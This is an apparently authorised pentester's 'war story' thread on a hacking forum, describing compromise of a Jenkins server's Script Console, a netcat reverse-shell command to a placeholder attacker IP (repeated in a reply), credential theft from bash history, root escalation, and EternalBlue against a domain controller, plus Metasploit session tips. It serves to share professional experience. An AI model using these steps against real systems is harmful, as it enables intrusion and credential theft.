

Forum:[Hack Forums](#)

Thread: [Real Story of a Pentester #1 - Jenkins](#)

[BLANK] - January 25, 2018, 7:20 am

I thought it would be interesting to share some of my real world penetration testing experience in a story format. The goal is not to write the next great novel or anything, but I thought it would be an interesting way of sharing real world experience, problems, and solutions. It may also inspire others to write some of their engagement stories as well.

I recently had an engagement where I was placed in a corporate network with no information beyond some flags (IPs of hosts to compromise) to attempt to access. My local host was a Kali box, I had no domain connections or anything else beyond an IP on the network. The first thing I did was to start enumerating the network. Some people would start with a mass port scan (OSCP right) and while that sort of scanning is fine in most engagements where you don't mind being super noisy, I try to stay quite on the wire for at least the first day or two of testing. So I began with more passive scanning, using nmap I was able to intercept broadcast messages and get an understanding of what kind of network I was on, what hosts were broadcasting, NETBIOS information etc.

Code `nmap -e eth0 *broadcast*`

The output was pretty normal, printers, services etc. But one host caught my eye right away, a Jenkins box! Don't get me wrong, Jenkins set up correctly is very useful and can be secure. But...I decided to check out the host anyways in case I would get lucky. And did I ever. I setup a port forward from my local host through the tunnel I was using to get into the corporate net so that I could access the web application inside the corporate network.

Code `ssh -L 8888:Jenkins:443 root@remotehost`

After the tunnel was up I opened my browsers, browsed to `https://localhost:8888` and got access to the Jenkins panel. Now this is where things get interesting, because the admin who set up the Jenkins box did not lock down Jenkins functionality, and I got access to the Script Console, which means I was able to execute server side code.

More info:

<https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password>

With the script console I used netcat to create a reverse shell to a metasploit listener and from there used "post/multi/manage/shell_to_meterpreter" to get a full meterpreter from my basic netcat shell.

Code `ncat -nv attackerIP port -e '/bin/sh'`

I was in! My user on the server was Jenkins but I had a lot of access. I couldn't access root or any other user files. I started enumerating the server, looking for insecure kernel version, file permissions etc. Then it occurred to me to check the bash history of the user. There was a lot of jobs assigned to Jenkins which is normal, some basic setup commands, but then I noticed one of the jobs included a username and password. Now the username is different than Jenkins, but I figured, what the hell why not try it. So I opened a new shell on my remote Kali box then attempted to SSH into the Jenkins box with the new password I found, and yep, it worked. So I decided to take it one step further, would Jenkins happen to be a sudo user?

Code `sudo su -`

It was, and now I had full root access on the dev ops server. From there I accessed every home

directory, root folder, got the shadow hashes etc. I found everything from gmail account/passwords to github repo credentials and certificates for many services. And maybe the best thing I found was a pre-established SSH tunnel to an even more internal network. I didn't even have to breach into it.

From this Jenkins box I was able to find a vulnerable Windows Server 2008, using Eternalblue I gained full SYSTEM access, the server was a Domain Controller. So naturally I gathered all the user hashes for later and set myself up as a full Domain Admin.

And that was how I got full Domain Admin on a major corporate network in less than one day.

I hope you all enjoyed the story, I look forward to sharing more in the future.

hi_man - January 25, 2018, 7:31 am

Nice one!

I am sure that the corporate must have network of computers connected to the main server. You were lucky that you pwned the main server.

If you want to make it more complex or want to practice something more. Try to Pivoting - Hacking systems in the network from the compromised machine.

Anyways, I am glad things were real straightforward for you (as most of the time they aren't) .

At last, This scenario can be titled as "How I pwned my first target"

Nice work OP!

Be in contact. Hope to see more of you ?

Thanks

hi_man

Riggs - January 25, 2018, 7:35 am

(Jan 25, 2018 08:20 AM)EasyGhost Wrote: [\[CITE\]](#) There was a lot of jobs assigned to Jenkins which is normal, some basic setup commands, but then I noticed one of the jobs included a username and password.

I'd get to this point and be like "yer m8 r8 dis honeypot b8 8/8 seemz legit".

[BLANK] - January 25, 2018, 8:49 am

(Jan 25, 2018 08:35 AM)Riggs Wrote: [\[CITE\]](#) I'd get to this point and be like "yer m8 r8 dis honeypot b8 8/8 seemz legit".

It wasn't a honeypot, it was all internal and it was running legit jobs. There were multiple other servers that were Jenkins slaves etc. I found that corporations do a good job protecting their external posture but terrible at internal network security.

(Jan 25, 2018 08:31 AM)hi_man Wrote: [\[CITE\]](#) Nice one!

I am sure that the corporate must have network of computers connected to the main server. You were lucky that you pwned the main server.

If you want to make it more complex or want to practice something more. Try to Pivoting - Hacking systems in the network from the compromised machine.

Anyways, I am glad things were real straightforward for you (as most of the time they aren't) .

At last, This scenario can be titled as "How I pwned my first target"

Nice work OP!

Be in contact. Hope to see more of you ?

Thanks

hi_man

Thanks for the feedback. This was not even close to my first engagement, nor my most complicated. Next time I will write the story of how I got access to a Firewall by pivoting through an entire college network, owning DA and hacking the main Senior Security manager's computer to pivot to the Firewall access. Now that was fun, I can also talk about Cobalt Strike and Bloodhound in that engagement. Great tools.

Baud - January 25, 2018, 4:02 pm

(Jan 25, 2018 09:49 AM)EasyGhost Wrote: [\[CITE\]](#) Next time I will write the story of how I got access to a Firewall by pivoting through an entire college network, owning DA and hacking the main Senior Security managers computer to pivot to the Firewall access. Now that was fun, I can also talk about Cobalt Strike and Bloodhound in that engagement. Great tools.

As a pentester wannabe this read was very interesting, I can't wait to read the next one, it sounds like it was a lot of fun.

Freerunning - January 25, 2018, 4:58 pm

That was amazing! I would like to hear more from you. Goodluck on your future engagement.

CyberStrike - January 26, 2018, 1:51 pm

Good stuff EasyGhost. I had to double read it and saw " My local host was a Kali box, I had no domain connections or anything else beyond an IP on the network." I thought I had missed that initial compromise.

Mauricedu34 - January 29, 2018, 4:58 am

Nice thread ! You inspired me

a.k.a.mao - January 30, 2018, 1:29 pm

nice man :)

good work, you have to try all maybe it is just behind you

T3h Hack3r - January 30, 2018, 5:07 pm

Nice share, I haven't found any Jenkins instances on my internal engagements yet. However I've made a few 5k RCE payments from it on Bug Bounty's. Jenkins will pretty much always lead to RCE.

CyberStrike - January 30, 2018, 7:10 pm

(Jan 30, 2018 06:07 PM)T3h Hack3r Wrote: [\[CITE\]](#) Nice share, I haven't found any Jenkins instances on my internal engagements yet. However I've made a few 5k RCE payments from it on Bug Bounty's. Jenkins will pretty much always lead to RCE.

Always great to see other professionals here, btw would you mind linking your writeup, if or when it is okay to disclose it? Greatly appreciate it.

[BLANK] - January 30, 2018, 8:13 pm

(Jan 30, 2018 06:07 PM)T3h Hack3r Wrote: [\[CITE\]](#) Nice share, I haven't found any Jenkins instances on my internal engagements yet. However I've made a few 5k RCE payments from it on Bug Bounty's. Jenkins will pretty much always lead to RCE.

Yea I found another Jenkins box, same customer different network. That one was locked down...but it was an older version and was able to use JexBoss to get a shell.

Lane_Stalker - January 31, 2018, 12:06 am

That made a really good read OP! All the best for your upcoming engagements.

CyberStrike - February 1, 2018, 3:35 am

(Feb 1, 2018 12:29 AM)T3h Hack3r Wrote: [\[CITE\]](#) No worries. The report is actually public [here](#) via the Mozilla Bug Bounty program. A bit different to the OP's post. This Jenkins instance had been left at the installation page and I was able to manage the whole install.

Awesome stuff, personally I try to read these reports as sometimes you learn something new, the sad part is that had the company releasing the software in the first place, spent 1 month doing this many of these bugs can be avoided, although I guess on the other side of this coin we would have a little bit less work.

Nomad.Null - February 2, 2018, 7:30 pm

Nice war story. They're always fun to hear. Makes me want to share a few of my own. ?

Baud - February 3, 2018, 3:05 pm

(Feb 2, 2018 08:30 PM)True Demon Wrote: [\[CITE\]](#) Nice war story. They're always fun to hear. Makes me want to share a few of my own. ?

It would be awesome to see more real life scenarios and stories, they're great resources to learn new things.

chiffre - February 7, 2018, 9:26 pm

Man, that sounded like a breeze for you!

I'd imagine that the easier pentests get boring after awhile, though.

[BLANK] - February 7, 2018, 9:52 pm

(Feb 7, 2018 10:26 PM)chiffre Wrote: [\[CITE\]](#) Man, that sounded like a breeze for you!

I'd imagine that the easier pentests get boring after awhile, though.

Never gets boring when your popping shells. It's always a rush when you get full access. It can get boring enumerating everything for hours. But the most boring part of the job is the report. Report day is like the day I actually feel like I am working.

mrbr0wnst0ne - February 24, 2018, 7:23 am

Nice post, I'd like to ask you what payload did you use to receive the ncat connection ?

```
ncat -nv attackerIP port -e '/bin/sh'
```

I'm testing with linux/x86/shell_reverse_tcp

But I don't know how to put the shell in background (if I use ctrl+z) all the connection will be putted in background including msfconsole.

Because I think the only you can use other module like post/multi/manage/shell_to_meterpreter if the session is in background, but as I said is difficult to me manage a simple shell_reverse_tcp.

Thanks

CyberStrike - February 24, 2018, 10:46 am

Just use ' run -j ' minus the " ' " of course that will run it as a job generally you want to make sure that listener also doesn't exit on the first connection although since you are probably in a testing environment that won't matter. To background the session you can use ' background ' .

mrbr0wnst0ne - February 24, 2018, 9:59 pm

(Feb 24, 2018 11:46 AM)sirru5h Wrote: [\[CITE\]](#) Just use ' run -j ' minus the " ' " of course that will run it as a job generally you want to make sure that listener also doesn't exit on the first connection although since you are probably in a testing environment that won't matter. To background the session you can use ' background ' .

Thank you, I completely forgot the "-j" parameter.

Unknown0110 - February 25, 2018, 2:35 pm

I like the way you documented your findings! Cheers!

Hoodie+ - February 25, 2018, 2:41 pm

Good job.

I love reading theme kinds of things!

